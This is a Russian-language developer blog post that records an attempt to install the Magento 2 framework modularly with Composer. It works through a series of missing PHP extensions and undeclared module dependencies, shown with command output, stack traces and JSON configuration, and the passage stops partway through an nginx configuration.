[System Requirements](https://devdocs.magento.com/guides/v2.4/install-gde/system-requirements.html) : * ext-bcmath * ext-ctype * ext-curl * ext-dom * ext-gd * ext-hash * ext-iconv * ext-intl * ext-mbstring * ext-openssl * ext-pdo\_mysql * ext-simplexml * ext-soap * ext-xsl * ext-zip * ext-sockets Можно запасаться попкорном... Установка пакетов ----------------- Итак, создаём проект /var/www/magento-framework-check, запускаем внутри `composer init` и, вполне логично, получаю первую отсутствующую зависимость - phar, а также, похоже, ошибку связанную с отсутствием расширения dom: `PHP Warning: PHP Startup: Unable to load dynamic library 'xsl.so' (tried: /usr/lib/php/20190902/xsl.so (/usr/lib/php/20190902/xsl.so: undefined symbol: dom_node_class_entry), /usr/lib/php/20190902/xsl.so.so (/usr/lib/php/20190902/xsl.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PHP Fatal error: Uncaught Error: Class 'Phar' not found in /usr/local/bin/composer:23 Stack trace: #0 {main} thrown in /usr/local/bin/composer on line 23` Запускаем `sudo phpenmod phar dom`, перезапускаем сервис PHP-FPM и повторяем команду. Теперь не хватает модуля JSON: exception`PHP Fatal error: Uncaught Error: Call to undefined function Composer\Json\json_decode() in phar:///usr/local/bin/composer/src/Composer/Json/JsonFile.php:182 Stack trace: #0 phar:///usr/local/bin/composer/src/Composer/Factory.php(313): Composer\Json\JsonFile->validateSchema() #1 phar:///usr/local/bin/composer/src/Composer/Factory.php(616): Composer\Factory->createComposer() #2 phar:///usr/local/bin/composer/src/Composer/Console/Application.php(418): Composer\Factory::create() #3 phar:///usr/local/bin/composer/src/Composer/Console/Application.php(540): Composer\Console\Application->getComposer() #4 phar:///usr/local/bin/composer/src/Composer/Console/Application.php(191): Composer\Console\Application->getPluginCommands() #5 phar:///usr/local/bin/composer/vendor/symfony/console/Application.php(117): Composer\Console\Application->doRun() #6 phar:///usr/local/bin/composer/src/Composer/Console/Application.php(125): Symfony\Component\Console\Application->run() #7 phar:///usr/local/bin/composer/bin/composer(67): Composer\Console\Appli in phar:///usr/local/bin/composer/src/Composer/Json/JsonFile.php on line 182` `Fatal error: Uncaught Error: Call to undefined function Composer\Json\json_decode() in phar:///usr/local/bin/composer/src/Composer/Json/JsonFile.php:182 Stack trace: #0 phar:///usr/local/bin/composer/src/Composer/Factory.php(313): Composer\Json\JsonFile->validateSchema() #1 phar:///usr/local/bin/composer/src/Composer/Factory.php(616): Composer\Factory->createComposer() #2 phar:///usr/local/bin/composer/src/Composer/Console/Application.php(418): Composer\Factory::create() #3 phar:///usr/local/bin/composer/src/Composer/Console/Application.php(540): Composer\Console\Application->getComposer() #4 phar:///usr/local/bin/composer/src/Composer/Console/Application.php(191): Composer\Console\Application->getPluginCommands() #5 phar:///usr/local/bin/composer/vendor/symfony/console/Application.php(117): Composer\Console\Application->doRun() #6 phar:///usr/local/bin/composer/src/Composer/Console/Application.php(125): Symfony\Component\Console\Application->run() #7 phar:///usr/local/bin/composer/bin/composer(67): Composer\Console\Appli in phar:///usr/local/bin/composer/src/Composer/Json/JsonFile.php on line 182` Не зря в 8-й вверси его теперь поставляют из коробки. Включаем и наконец генерим JSON: ``` { "name": "taras/magento-framework-check", "type": "project", "minimum-stability": "stable", "require": {} } ``` Чтобы не запариваться с неймспейсами, конфигурацией автозагрузчика и т. д., просто копируем остальные поля из JSON'а установленной Magento 2.4.2. Получаем: ``` { "name": "taras/magento-framework-check", "type": "project", "minimum-stability": "stable", "require": {}, "config": { "preferred-install": "dist", "sort-packages": true }, "version": "2.4.2-p1", "autoload": { "exclude-from-classmap": [ "**/dev/**", "**/update/**", "**/Test/**" ], "files": [ "app/etc/NonComposerComponentRegistration.php" ], "psr-0": { "": [ "app/code/", "generated/code/" ] }, "psr-4": { "Magento\\": "app/code/Magento/", "Magento\\Framework\\": "lib/internal/Magento/Framework/", "Magento\\Setup\\": "setup/src/Magento/Setup/", "Zend\\Mvc\\Controller\\": "setup/src/Zend/Mvc/Controller/" } }, "conflict": { "gene/bluefoot": "*" }, "prefer-stable": true, "repositories": [ { "type": "composer", "url": "https://repo.magento.com/" } ], "extra": { "magento-force": "override" } } ``` Обратите внимание: я исключил разделы require-dev и autoload-dev. Также нужно создать файла авторизации c кредами для репозитория Magento - auth.json: ``` { "http-basic": { "repo.magento.com": { "username": "", "password": "" } } } ``` Чтобы проверить, что всё работает, запустим `composer install`. Получаем структуру файлов: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f2a/e6d/250/f2ae6d2506281f210ec6434d05487c31.png)Теперь установим первый пакет. Как известно, основная структура проекта Magento 2 создается пакетом magento/magento2-base. С него и начнем: composer require magento/magento2-base$ composer require magento/magento2-base Using version ^2.4 for magento/magento2-base ./composer.json has been updated Running composer update magento/magento2-base Loading composer repositories with package information Updating dependencies Lock file operations: 65 installs, 0 updates, 0 removals * Locking composer/ca-bundle (1.2.10) * Locking composer/composer (1.10.22) * Locking composer/semver (1.7.2) * Locking composer/spdx-licenses (1.5.5) * Locking composer/xdebug-handler (1.4.6) * Locking container-interop/container-interop (1.2.0) * Locking justinrainbow/json-schema (5.2.11) * Locking laminas/laminas-code (3.4.1) * Locking laminas/laminas-config (2.6.0) * Locking laminas/laminas-console (2.8.0) * Locking laminas/laminas-crypt (2.6.0) * Locking laminas/laminas-di (2.6.1) * Locking laminas/laminas-diactoros (1.8.7p2) * Locking laminas/laminas-escaper (2.8.0) * Locking laminas/laminas-eventmanager (3.3.1) * Locking laminas/laminas-filter (2.11.1) * Locking laminas/laminas-form (2.15.1) * Locking laminas/laminas-http (2.14.3) * Locking laminas/laminas-hydrator (2.4.2) * Locking laminas/laminas-i18n (2.11.1) * Locking laminas/laminas-inputfilter (2.10.1) * Locking laminas/laminas-json (2.6.1) * Locking laminas/laminas-loader (2.7.0) * Locking laminas/laminas-log (2.12.0) * Locking laminas/laminas-math (2.7.1) * Locking laminas/laminas-modulemanager (2.9.0) * Locking laminas/laminas-mvc (2.7.15) * Locking laminas/laminas-psr7bridge (0.2.2) * Locking laminas/laminas-serializer (2.10.0) * Locking laminas/laminas-server (2.9.2) * Locking laminas/laminas-servicemanager (2.7.11) * Locking laminas/laminas-soap (2.9.0) * Locking laminas/laminas-stdlib (3.5.0) * Locking laminas/laminas-text (2.7.1) * Locking laminas/laminas-uri (2.8.1) * Locking laminas/laminas-validator (2.14.5) * Locking laminas/laminas-view (2.11.5) * Locking laminas/laminas-zendframework-bridge (1.3.0) * Locking magento/composer (1.6.0) * Locking magento/magento-composer-installer (0.2.1) * Locking magento/magento2-base (2.4.2-p1) * Locking magento/zendframework1 (1.14.5) * Locking monolog/monolog (1.26.1) * Locking pelago/emogrifier (v3.1.0) * Locking phpseclib/phpseclib (2.0.32) * Locking psr/container (1.1.1) * Locking psr/http-message (1.0.1) * Locking psr/log (1.1.4) * Locking seld/jsonlint (1.8.3) * Locking seld/phar-utils (1.1.1) * Locking symfony/console (v4.4.29) * Locking symfony/css-selector (v5.3.4) * Locking symfony/event-dispatcher (v4.4.27) * Locking symfony/event-dispatcher-contracts (v1.1.9) * Locking symfony/filesystem (v5.3.4) * Locking symfony/finder (v5.3.4) * Locking symfony/polyfill-ctype (v1.23.0) * Locking symfony/polyfill-mbstring (v1.23.1) * Locking symfony/polyfill-php73 (v1.23.0) * Locking symfony/polyfill-php80 (v1.23.1) * Locking symfony/process (v5.3.4) * Locking symfony/service-contracts (v2.4.0) * Locking tedivm/jshrink (v1.3.3) * Locking tubalmartin/cssmin (v4.1.1) * Locking webimpress/safe-writer (2.2.0) Writing lock file Installing dependencies from lock file (including require-dev) Package operations: 65 installs, 0 updates, 0 removals * Installing composer/ca-bundle (1.2.10): Extracting archive * Installing composer/semver (1.7.2): Extracting archive * Installing composer/spdx-licenses (1.5.5): Extracting archive * Installing psr/log (1.1.4): Extracting archive * Installing composer/xdebug-handler (1.4.6): Extracting archive * Installing psr/container (1.1.1): Extracting archive * Installing justinrainbow/json-schema (5.2.11): Extracting archive * Installing symfony/polyfill-php80 (v1.23.1): Extracting archive * Installing symfony/service-contracts (v2.4.0): Extracting archive * Installing symfony/polyfill-php73 (v1.23.0): Extracting archive * Installing symfony/polyfill-mbstring (v1.23.1): Extracting archive * Installing symfony/console (v4.4.29): Extracting archive * Installing symfony/process (v5.3.4): Extracting archive * Installing symfony/finder (v5.3.4): Extracting archive * Installing symfony/polyfill-ctype (v1.23.0): Extracting archive * Installing symfony/filesystem (v5.3.4): Extracting archive * Installing seld/phar-utils (1.1.1): Extracting archive * Installing seld/jsonlint (1.8.3): Extracting archive * Installing composer/composer (1.10.22): Extracting archive * Installing magento/magento-composer-installer (0.2.1): Extracting archive * Installing container-interop/container-interop (1.2.0): Extracting archive * Installing laminas/laminas-zendframework-bridge (1.3.0): Extracting archive * Installing laminas/laminas-escaper (2.8.0): Extracting archive * Installing laminas/laminas-stdlib (3.5.0): Extracting archive * Installing laminas/laminas-hydrator (2.4.2): Extracting archive * Installing laminas/laminas-validator (2.14.5): Extracting archive * Installing laminas/laminas-servicemanager (2.7.11): Extracting archive * Installing laminas/laminas-filter (2.11.1): Extracting archive * Installing laminas/laminas-inputfilter (2.10.1): Extracting archive * Installing laminas/laminas-loader (2.7.0): Extracting archive * Installing laminas/laminas-math (2.7.1): Extracting archive * Installing psr/http-message (1.0.1): Extracting archive * Installing laminas/laminas-uri (2.8.1): Extracting archive * Installing laminas/laminas-http (2.14.3): Extracting archive * Installing laminas/laminas-diactoros (1.8.7p2): Extracting archive * Installing laminas/laminas-psr7bridge (0.2.2): Extracting archive * Installing tubalmartin/cssmin (v4.1.1): Extracting archive * Installing tedivm/jshrink (v1.3.3): Extracting archive * Installing symfony/event-dispatcher-contracts (v1.1.9): Extracting archive * Installing symfony/event-dispatcher (v4.4.27): Extracting archive * Installing phpseclib/phpseclib (2.0.32): Extracting archive * Installing symfony/css-selector (v5.3.4): Extracting archive * Installing pelago/emogrifier (v3.1.0): Extracting archive * Installing monolog/monolog (1.26.1): Extracting archive * Installing magento/zendframework1 (1.14.5): Extracting archive * Installing magento/composer (1.6.0): Extracting archive * Installing laminas/laminas-json (2.6.1): Extracting archive * Installing laminas/laminas-eventmanager (3.3.1): Extracting archive * Installing laminas/laminas-view (2.11.5): Extracting archive * Installing laminas/laminas-text (2.7.1): Extracting archive * Installing laminas/laminas-code (3.4.1): Extracting archive * Installing laminas/laminas-server (2.9.2): Extracting archive * Installing laminas/laminas-soap (2.9.0): Extracting archive * Installing laminas/laminas-serializer (2.10.0): Extracting archive * Installing laminas/laminas-form (2.15.1): Extracting archive * Installing laminas/laminas-console (2.8.0): Extracting archive * Installing laminas/laminas-mvc (2.7.15): Extracting archive * Installing webimpress/safe-writer (2.2.0): Extracting archive * Installing laminas/laminas-config (2.6.0): Extracting archive * Installing laminas/laminas-modulemanager (2.9.0): Extracting archive * Installing laminas/laminas-log (2.12.0): Extracting archive * Installing laminas/laminas-i18n (2.11.1): Extracting archive * Installing laminas/laminas-di (2.6.1): Extracting archive * Installing laminas/laminas-crypt (2.6.0): Extracting archive * Installing magento/magento2-base (2.4.2-p1): Extracting archive 47 package suggestions were added by new dependencies, use `composer suggest` to see details. Package container-interop/container-interop is abandoned, you should avoid using it. Use psr/container instead. Package laminas/laminas-console is abandoned, you should avoid using it. Use laminas/laminas-cli instead. Generating autoload files 37 packages you are using are looking for funding. Use the `composer fund` command to find out more! Прекрасно, похоже, всё установилось, структура файлов создалась: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/601/5af/4eb/6015af4eb10afb8a69cf7390737f93ab.png)Пробуем запустить bin/magento: ``` taras@taras-home:/var/www/magento-framework-check$ bin/magento PHP Fatal error: Uncaught Error: Class 'Magento\Framework\Component\ComponentRegistrar' not found in /var/www/magento-framework-check/setup/src/Magento/Setup/registration.php:9 Stack trace: #0 /var/www/magento-framework-check/app/etc/NonComposerComponentRegistration.php(29): require_once() #1 [internal function]: Magento\NonComposerComponentRegistration\{closure}() #2 /var/www/magento-framework-check/app/etc/NonComposerComponentRegistration.php(31): array_map() #3 /var/www/magento-framework-check/app/etc/NonComposerComponentRegistration.php(34): Magento\NonComposerComponentRegistration\{closure}() #4 /var/www/magento-framework-check/vendor/composer/autoload_real.php(75): require('/var/www/magent...') #5 /var/www/magento-framework-check/vendor/composer/autoload_real.php(65): composerRequiref27b5d24f83d64c29deb274744cf45e2() #6 /var/www/magento-framework-check/vendor/autoload.php(7): ComposerAutoloaderInitf27b5d24f83d64c29deb274744cf45e2::getLoader() #7 /var/www/magento-framework-check/app/autoload.php(51): include('/var/www/ma in /var/www/magento-framework-check/setup/src/Magento/Setup/registration.php on line 9 ``` Хмм. Оказывается, компонент magento2-base не установил magento-framework, но при этом явно от него зависит. Довольно странно. Чтож, придется поставить его вручную: ``` taras@taras-home:/var/www/magento-framework-check$ composer require magento/framework Using version ^103.0 for magento/framework ./composer.json has been updated Running composer update magento/framework Loading composer repositories with package information Updating dependencies Your requirements could not be resolved to an installable set of packages. Problem 1 - magento/framework[103.0.0, ..., 103.0.2-p1] require symfony/process ~4.4.0 -> found symfony/process[v4.4.0, ..., v4.4.27] but the package is fixed to v5.3.4 (lock file version) by a partial update and that version does not match. Make sure you list it as an argument for the update command. - Root composer.json requires magento/framework ^103.0 -> satisfiable by magento/framework[103.0.0, ..., 103.0.2-p1]. Use the option --with-all-dependencies (-W) to allow upgrades, downgrades and removals for packages currently locked to specific versions. Installation failed, reverting ./composer.json and ./composer.lock to their original content. ``` Похоже, у нас небольшие проблемы - установленная для предыдущего модуля версия symfony/process не подходит фреймворку. Ладно, форсируем обновление зависимостей: ``` taras@taras-home:/var/www/magento-framework-check$ composer require magento/framework --with-all-dependencies Using version ^103.0 for magento/framework ./composer.json has been updated Running composer update magento/framework --with-all-dependencies Loading composer repositories with package information Updating dependencies Lock file operations: 16 installs, 1 update, 0 removals - Locking colinmollenhour/credis (v1.12.1) - Locking colinmollenhour/php-redis-session-abstract (v1.4.4) - Locking guzzlehttp/guzzle (6.5.5) - Locking guzzlehttp/promises (1.4.1) - Locking guzzlehttp/psr7 (1.8.2) - Locking laminas/laminas-mail (2.14.1) - Locking laminas/laminas-mime (2.8.0) - Locking magento/framework (103.0.2-p1) - Locking paragonie/random_compat (v9.99.99) - Locking ralouphie/getallheaders (3.0.3) - Locking ramsey/uuid (3.8.0) - Locking symfony/polyfill-intl-idn (v1.23.0) - Locking symfony/polyfill-intl-normalizer (v1.23.0) - Locking symfony/polyfill-php72 (v1.23.0) - Downgrading symfony/process (v5.3.4 => v4.4.27) - Locking true/punycode (v2.1.1) - Locking wikimedia/less.php (1.8.2) Writing lock file Installing dependencies from lock file (including require-dev) Package operations: 16 installs, 1 update, 0 removals - Installing colinmollenhour/credis (v1.12.1): Extracting archive - Installing guzzlehttp/promises (1.4.1): Extracting archive - Installing ralouphie/getallheaders (3.0.3): Extracting archive - Installing guzzlehttp/psr7 (1.8.2): Extracting archive - Installing wikimedia/less.php (1.8.2): Extracting archive - Downgrading symfony/process (v5.3.4 => v4.4.27): Extracting archive - Installing paragonie/random_compat (v9.99.99): Extracting archive - Installing ramsey/uuid (3.8.0): Extracting archive - Installing laminas/laminas-mime (2.8.0): Extracting archive - Installing true/punycode (v2.1.1): Extracting archive - Installing laminas/laminas-mail (2.14.1): Extracting archive - Installing symfony/polyfill-php72 (v1.23.0): Extracting archive - Installing symfony/polyfill-intl-normalizer (v1.23.0): Extracting archive - Installing symfony/polyfill-intl-idn (v1.23.0): Extracting archive - Installing guzzlehttp/guzzle (6.5.5): Extracting archive - Installing colinmollenhour/php-redis-session-abstract (v1.4.4): Extracting archive - Installing magento/framework (103.0.2-p1): Extracting archive 9 package suggestions were added by new dependencies, use `composer suggest` to see details. Package container-interop/container-interop is abandoned, you should avoid using it. Use psr/container instead. Package laminas/laminas-console is abandoned, you should avoid using it. Use laminas/laminas-cli instead. Generating autoload files 42 packages you are using are looking for funding. Use the `composer fund` command to find out more! ``` Всё в порядке, версия обновилась, все компоненты довольны. Пробуем запуск: ``` taras@taras-home:/var/www/magento-framework-check$ bin/magento Constant name is expected. ``` А вот это уже интересно. В логах ничего. Начинаем дебажить - выясняем, что у нас имеются необъявленные зависимости от Mageno\_Store в app/etc/di.xml. Например: ``` Magento\Framework\Session\Generic\Proxy Magento\Store\Model\ScopeInterface::SCOPE\_STORE ``` Что эти строки там делают и почему тогда модуль не указан в composer.json - непонятно. Вот вам и модульность. Что ж, будем ставить модуль store вручную. Не уверен, что он мне пригодился бы, но надо признать, что в Magento на скоупы завязано очень многое, и без этого модуля её сложно представить. composer require magento/module-store ``` taras@taras-home:/var/www/magento-framework-check$ composer require magento/module-store Using version ^101.1 for magento/module-store ./composer.json has been updated Running composer update magento/module-store Loading composer repositories with package information Updating dependencies Lock file operations: 60 installs, 0 updates, 0 removals - Locking laminas/laminas-captcha (2.10.0) - Locking laminas/laminas-db (2.12.0) - Locking laminas/laminas-session (2.11.0) - Locking magento/framework-bulk (101.0.0) - Locking magento/framework-message-queue (100.4.2) - Locking magento/module-asynchronous-operations (100.4.2) - Locking magento/module-authorization (100.4.2) - Locking magento/module-backend (102.0.2) - Locking magento/module-backup (100.4.2) - Locking magento/module-bundle (101.0.2) - Locking magento/module-captcha (100.4.2) - Locking magento/module-catalog (104.0.2-p1) - Locking magento/module-catalog-import-export (101.1.2) - Locking magento/module-catalog-inventory (100.4.2) - Locking magento/module-catalog-rule (101.2.2) - Locking magento/module-catalog-url-rewrite (100.4.2) - Locking magento/module-checkout (100.4.2) - Locking magento/module-cms (104.0.2) - Locking magento/module-cms-url-rewrite (100.4.1) - Locking magento/module-config (101.2.2) - Locking magento/module-contact (100.4.2) - Locking magento/module-cron (100.4.2) - Locking magento/module-customer (103.0.2-p1) - Locking magento/module-deploy (100.4.2) - Locking magento/module-developer (100.4.2) - Locking magento/module-directory (100.4.2) - Locking magento/module-downloadable (100.4.2) - Locking magento/module-eav (102.1.2) - Locking magento/module-email (101.1.2) - Locking magento/module-gift-message (100.4.1) - Locking magento/module-import-export (101.0.2) - Locking magento/module-indexer (100.4.2) - Locking magento/module-integration (100.4.2) - Locking magento/module-media-storage (100.4.1) - Locking magento/module-msrp (100.4.1) - Locking magento/module-newsletter (100.4.2) - Locking magento/module-page-cache (100.4.2) - Locking magento/module-payment (100.4.2-p1) - Locking magento/module-product-alert (100.4.1) - Locking magento/module-quote (101.2.2) - Locking magento/module-reports (100.4.2) - Locking magento/module-require-js (100.4.0) - Locking magento/module-review (100.4.2) - Locking magento/module-rss (100.4.1) - Locking magento/module-rule (100.4.1) - Locking magento/module-sales (103.0.2) - Locking magento/module-sales-rule (101.2.2) - Locking magento/module-sales-sequence (100.4.1) - Locking magento/module-security (100.4.2-p1) - Locking magento/module-shipping (100.4.2) - Locking magento/module-store (101.1.2) - Locking magento/module-tax (100.4.2) - Locking magento/module-theme (101.1.2) - Locking magento/module-translation (100.4.2) - Locking magento/module-ui (101.2.2) - Locking magento/module-url-rewrite (102.0.1) - Locking magento/module-user (101.2.2) - Locking magento/module-variable (100.4.0) - Locking magento/module-widget (101.2.2) - Locking magento/module-wishlist (101.2.2) Writing lock file Installing dependencies from lock file (including require-dev) Package operations: 60 installs, 0 updates, 0 removals - Installing laminas/laminas-captcha (2.10.0): Extracting archive - Installing laminas/laminas-db (2.12.0): Extracting archive - Installing laminas/laminas-session (2.11.0): Extracting archive - Installing magento/framework-message-queue (100.4.2): Extracting archive - Installing magento/module-ui (101.2.2): Extracting archive - Installing magento/module-store (101.1.2): Extracting archive - Installing magento/module-user (101.2.2): Extracting archive - Installing magento/module-theme (101.1.2): Extracting archive - Installing magento/module-config (101.2.2): Extracting archive - Installing magento/module-wishlist (101.2.2): Extracting archive - Installing magento/module-widget (101.2.2): Extracting archive - Installing magento/module-tax (100.4.2): Extracting archive - Installing magento/module-sales (103.0.2): Extracting archive - Installing magento/module-shipping (100.4.2): Extracting archive - Installing magento/module-sales-sequence (100.4.1): Extracting archive - Installing magento/module-quote (101.2.2): Extracting archive - Installing magento/module-backend (102.0.2): Extracting archive - Installing magento/module-directory (100.4.2): Extracting archive - Installing magento/module-security (100.4.2-p1): Extracting archive - Installing magento/module-media-storage (100.4.1): Extracting archive - Installing magento/module-catalog (104.0.2-p1): Extracting archive - Installing magento/module-eav (102.1.2): Extracting archive - Installing magento/module-rule (100.4.1): Extracting archive - Installing magento/module-sales-rule (101.2.2): Extracting archive - Installing magento/module-require-js (100.4.0): Extracting archive - Installing magento/module-variable (100.4.0): Extracting archive - Installing magento/module-email (101.1.2): Extracting archive - Installing magento/module-cms (104.0.2): Extracting archive - Installing magento/module-page-cache (100.4.2): Extracting archive - Installing magento/module-newsletter (100.4.2): Extracting archive - Installing magento/module-customer (103.0.2-p1): Extracting archive - Installing magento/module-authorization (100.4.2): Extracting archive - Installing magento/module-integration (100.4.2): Extracting archive - Installing magento/module-checkout (100.4.2): Extracting archive - Installing magento/module-review (100.4.2): Extracting archive - Installing magento/module-gift-message (100.4.1): Extracting archive - Installing magento/module-catalog-inventory (100.4.2): Extracting archive - Installing magento/module-downloadable (100.4.2): Extracting archive - Installing magento/module-reports (100.4.2): Extracting archive - Installing magento/module-payment (100.4.2-p1): Extracting archive - Installing magento/module-catalog-rule (101.2.2): Extracting archive - Installing magento/module-captcha (100.4.2): Extracting archive - Installing magento/module-msrp (100.4.1): Extracting archive - Installing magento/module-contact (100.4.2): Extracting archive - Installing magento/module-bundle (101.0.2): Extracting archive - Installing magento/module-rss (100.4.1): Extracting archive - Installing magento/module-url-rewrite (102.0.1): Extracting archive - Installing magento/module-cms-url-rewrite (100.4.1): Extracting archive - Installing magento/module-import-export (101.0.2): Extracting archive - Installing magento/module-catalog-url-rewrite (100.4.2): Extracting archive - Installing magento/module-catalog-import-export (101.1.2): Extracting archive - Installing magento/module-product-alert (100.4.1): Extracting archive - Installing magento/module-indexer (100.4.2): Extracting archive - Installing magento/framework-bulk (101.0.0): Extracting archive - Installing magento/module-asynchronous-operations (100.4.2): Extracting archive - Installing magento/module-deploy (100.4.2): Extracting archive - Installing magento/module-cron (100.4.2): Extracting archive - Installing magento/module-developer (100.4.2): Extracting archive - Installing magento/module-translation (100.4.2): Extracting archive - Installing magento/module-backup (100.4.2): Extracting archive 34 package suggestions were added by new dependencies, use `composer suggest` to see details. Package container-interop/container-interop is abandoned, you should avoid using it. Use psr/container instead. Package laminas/laminas-console is abandoned, you should avoid using it. Use laminas/laminas-cli instead. Generating autoload files 45 packages you are using are looking for funding. Use the `composer fund` command to find out more! ``` И вот здесь мои глаза начинают округляться. 60 пакетов! 60 пакетов, из которых почти все - модули мадженты, надо поставить, чтобы установить модуль отвечающий за скоупинг - вебсайты и сторы. Впрочем, кто сказал, что он отвечает только за это? Посмотрим readme: > The Store module provides one of the basic and major features of a content management system for e-commerce websites by creating and managing a store for the customers to conduct online-shopping. Stores can be combined in groups,and are linked to a specific website. All store related configurations (currency, locale, scope etc.), management andstorage maintenance are covered under this module. > > Это многое объясняет. Похоже, область ответственности этого модуля катастрофически широкая. Но всё же не ясно, почему он не может никак работать например без функциональности Wishlist. В общем, дела плохи - зависимости не в том направлении, дядюшка Боб плачет кровавыми слезами... Ладно, спишем на legacy, стерпим и продолжим - хотя бы ради интереса. И в третий раз закинул старик невод... ``` taras@taras-home:/var/www/magento-framework-check$ bin/magento PHP Fatal error: Uncaught Error: Class 'Cm_Cache_Backend_File' not found in /var/www/magento-framework-check/vendor/magento/zendframework1/library/Zend/Cache.php:153 Stack trace: #0 /var/www/magento-framework-check/vendor/magento/zendframework1/library/Zend/Cache.php(94): Zend_Cache::_makeBackend() #1 /var/www/magento-framework-check/vendor/magento/framework/App/Cache/Frontend/Factory.php(156): Zend_Cache::factory() #2 /var/www/magento-framework-check/vendor/magento/framework/Cache/Frontend/Adapter/Zend.php(38): Magento\Framework\App\Cache\Frontend\Factory->Magento\Framework\App\Cache\Frontend\{closure}() #3 /var/www/magento-framework-check/vendor/magento/framework/ObjectManager/Factory/AbstractFactory.php(121): Magento\Framework\Cache\Frontend\Adapter\Zend->__construct() #4 /var/www/magento-framework-check/vendor/magento/framework/ObjectManager/Factory/Dynamic/Developer.php(66): Magento\Framework\ObjectManager\Factory\AbstractFactory->createObject() #5 /var/www/magento-framework-check/vendor/magento/framework/ObjectManager/O in /var/www/magento-framework-check/vendor/magento/zendframework1/library/Zend/Cache.php on line 153 ``` Увы, не фартануло - мы явно не в сказке. Идем в полноценную Мадженту, ищем где объявлен этот класс - ставим модуль: ``` taras@taras-home:/var/www/magento-framework-check$ composer require colinmollenhour/cache-backend-file Using version ^1.4 for colinmollenhour/cache-backend-file ./composer.json has been updated Running composer update colinmollenhour/cache-backend-file Loading composer repositories with package information Updating dependencies Lock file operations: 1 install, 0 updates, 0 removals - Locking colinmollenhour/cache-backend-file (v1.4.5) Writing lock file Installing dependencies from lock file (including require-dev) Package operations: 1 install, 0 updates, 0 removals - Installing colinmollenhour/cache-backend-file (v1.4.5): Extracting archive Package container-interop/container-interop is abandoned, you should avoid using it. Use psr/container instead. Package laminas/laminas-console is abandoned, you should avoid using it. Use laminas/laminas-cli instead. Generating autoload files 45 packages you are using are looking for funding. Use the `composer fund` command to find out more! ``` Получаем: ``` taras@taras-home:/var/www/magento-framework-check$ bin/magento PHP Fatal error: Uncaught Error: Class 'PDO' not found in /var/www/magento-framework-check/setup/src/Magento/Setup/Model/ConfigOptionsList.php:180 Stack trace: #0 /var/www/magento-framework-check/setup/src/Magento/Setup/Model/ConfigModel.php(71): Magento\Setup\Model\ConfigOptionsList->getOptions() #1 /var/www/magento-framework-check/setup/src/Magento/Setup/Console/Command/ConfigSetCommand.php(61): Magento\Setup\Model\ConfigModel->getAvailableOptions() #2 /var/www/magento-framework-check/vendor/symfony/console/Command/Command.php(77): Magento\Setup\Console\Command\ConfigSetCommand->configure() #3 /var/www/magento-framework-check/setup/src/Magento/Setup/Console/Command/ConfigSetCommand.php(51): Symfony\Component\Console\Command\Command->__construct() #4 /var/www/magento-framework-check/vendor/laminas/laminas-di/src/Di.php(511): Magento\Setup\Console\Command\ConfigSetCommand->__construct() #5 /var/www/magento-framework-check/vendor/laminas/laminas-di/src/Di.php(318): Laminas\Di\Di->createInstanceViaConstructor() #6 /var/www/mage in /var/www/magento-framework-check/setup/src/Magento/Setup/Model/ConfigOptionsList.php on line 180 ``` Включаем pdo, снова ошибка: ``` taras@taras-home:/var/www/magento-framework-check$ bin/magento PHP Fatal error: Uncaught Error: Undefined class constant 'PDO::MYSQL_ATTR_SSL_KEY' in /var/www/magento-framework-check/setup/src/Magento/Setup/Model/ConfigOptionsList.php:180 Stack trace: #0 /var/www/magento-framework-check/setup/src/Magento/Setup/Model/ConfigModel.php(71): Magento\Setup\Model\ConfigOptionsList->getOptions() #1 /var/www/magento-framework-check/setup/src/Magento/Setup/Console/Command/ConfigSetCommand.php(61): Magento\Setup\Model\ConfigModel->getAvailableOptions() #2 /var/www/magento-framework-check/vendor/symfony/console/Command/Command.php(77): Magento\Setup\Console\Command\ConfigSetCommand->configure() #3 /var/www/magento-framework-check/setup/src/Magento/Setup/Console/Command/ConfigSetCommand.php(51): Symfony\Component\Console\Command\Command->__construct() #4 /var/www/magento-framework-check/vendor/laminas/laminas-di/src/Di.php(511): Magento\Setup\Console\Command\ConfigSetCommand->__construct() #5 /var/www/magento-framework-check/vendor/laminas/laminas-di/src/Di.php(318): Laminas\Di\Di->createInstanceViaC in /var/www/magento-framework-check/setup/src/Magento/Setup/Model/ConfigOptionsList.php on line 180 ``` Включаем mysqlnd и получаем наконец вывод без ошибок: ``` taras@taras-home:/var/www/magento-framework-check$ bin/magento -v Magento CLI Usage: command [options] [arguments] Options: -h, --help Display this help message -q, --quiet Do not output any message -V, --version Display this application version --ansi Force ANSI output --no-ansi Disable ANSI output -n, --no-interaction Do not ask any interactive question -v|vv|vvv, --verbose Increase the verbosity of messages: 1 for normal output, 2 for more verbose output and 3 for debug Available commands: help Display help for a command list List commands admin admin:user:create Creates an administrator app app:config:import Import data from shared configuration files to appropriate data storage i18n i18n:collect-phrases Discovers phrases in the codebase i18n:pack Saves language package info info:adminuri Displays the Magento Admin URI info:backups:list Prints list of available backup files info:currency:list Displays the list of available currencies info:dependencies:show-framework Shows number of dependencies on Magento framework info:dependencies:show-modules Shows number of dependencies between modules info:dependencies:show-modules-circular Shows number of circular dependencies between modules info:language:list Displays the list of available language locales info:timezone:list Displays the list of available timezones maintenance maintenance:allow-ips Sets maintenance mode exempt IPs maintenance:disable Disables maintenance mode maintenance:enable Enables maintenance mode maintenance:status Displays maintenance mode status module module:config:status Checks the modules configuration in the 'app/etc/config.php' file and reports if they are up to date or not module:disable Disables specified modules module:enable Enables specified modules module:status Displays status of modules module:uninstall Uninstalls modules installed by composer setup setup:backup Takes backup of Magento Application code base, media and database setup:config:set Creates or modifies the deployment configuration setup:db-data:upgrade Installs and upgrades data in the DB setup:db-schema:upgrade Installs and upgrades the DB schema setup:db:status Checks if DB schema or data requires upgrade setup:di:compile Generates DI configuration and all missing classes that can be auto-generated setup:install Installs the Magento application setup:performance:generate-fixtures Generates fixtures setup:rollback Rolls back Magento Application codebase, media and database setup:static-content:deploy Deploys static view files setup:store-config:set Installs the store configuration. Deprecated since 2.2.0. Use config:set instead setup:uninstall Uninstalls the Magento application setup:upgrade Upgrades the Magento application, DB data, and schema ``` Обратите внимание: версия Magento CLI не указана. Установка Magento 2 ------------------- Для начала создадим для Magento вирутальный хост в nginx. Сразу настраиваем IPv6, HTTP/2, HTTPS: ``` server { listen 443 ssl http2; listen [::]:443 ssl http2; server_name magento-framework-check.loc; ssl_certificate /ssl/magento-framework-check.loc.pem; ssl_certificate_key /ssl/magento-framework-check.loc-key.pem; 